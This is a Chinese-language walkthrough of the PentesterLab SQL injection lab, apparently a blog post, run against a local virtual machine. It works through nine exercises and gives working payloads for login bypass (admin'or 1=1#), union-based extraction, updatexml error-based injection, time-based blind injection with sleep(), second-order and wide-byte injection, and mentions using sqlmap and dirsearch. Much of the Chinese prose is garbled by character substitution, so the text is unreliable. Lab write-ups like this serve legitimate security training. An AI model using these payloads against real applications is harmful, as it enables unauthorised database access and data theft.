共计 1306 个字符,预计需要花费 4 分钟才能阅读完成。
环境装置
轻易在网上找了个 Pentester 的靶场,后果是 2013 年的,那就从 2013 年的这个靶场开始学习
下载镜像的地址:
https://pentesterlab.com/exer…
失常找个虚拟机,进行 iso 的装置
装置实现后,查下虚拟机的 IP, 间接拜访即可 http://192.168.29.129/
sql 注入
Example 1
万能明码:
本人尝试了几个明码,筛选出了这几个通关的,亲试可用:
admin’or 1=1#
“or”=”a’=’a
a’or’ 1=1–
‘or”=’
用户名和明码都填一样的,点击提交通关
Example 2
通过 order by 语句确定字段的长度为 3 – 此处须要浏览此文的人自行学习,省得就无难度了
加粗局部为所须要填的注入语句,拜访后通关
http://192.168.29.129/sqlinje…’ union select 1,2,3 –+&password=2&submit=%E6%8F%90%E4%BA%A4
Example 3
去猜他的 sql 语句大略
select * from users where username=’a’ and password=’b’
在尝试过程中发现应用单引号没有作用
尝试去结构及躲避:
select * from users where username=’\’ and password=’ or 1=1#’
用 \ 做用户名,or 1=1# 做明码间接登录
说白了就是执行了这段:
SELECT * FROM users where username=”x” or 1=1#”
Example 4
在通过尝试发现界面会返回谬误后,能够应用报错注入
案例 4 能够尝试报错注入:
http://192.168.29.129/sqlinje… and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
以此类推,找到其余须要的信息
Example 5
起初用 order by 来爆字段长度,后果发现始终报错
如果 order by 无奈应用则间接上 union 用字段来尝试破试出长度,发现长度就是之前试出来的 3
union select 1,2,3
减少一个长度 4,报错:
之后批改数字 1,2 的信息即可:
间接暴库即可,间接拿 sqlmap 去爆它:
Example 6
同样先爆字段长度用 order by,发现这个能够爆,长度是 3
之后再用 union 思路一样:
Example 7
属于工夫盲注,此处界面没有显示信息的中央,只能通过猜字段的模式来进行
通过大于、小于、等于来进行,发现本库的字段为 21
http://192.168.29.129/sqlinje… and if(length(database())=21,sleep(5),1) –+
通过 sqlmap 爆一下,判断进去能注入后间接爆:
Example 8
此处的案例是二次注入,应用
a’ union select 1,2,3# 进行二次注入:
查问列表,爆 url,通过 dirsearch 爆出目录 users, 尽管是 500 但证实存在这个目录:
尝试列表中的数字,发现 4 能够进行注入:
Example 9
宽字节注入尝试,对于 mysql 数据库的测试:
发现存在注入,增加胜利
%df%27%20or%201=1%23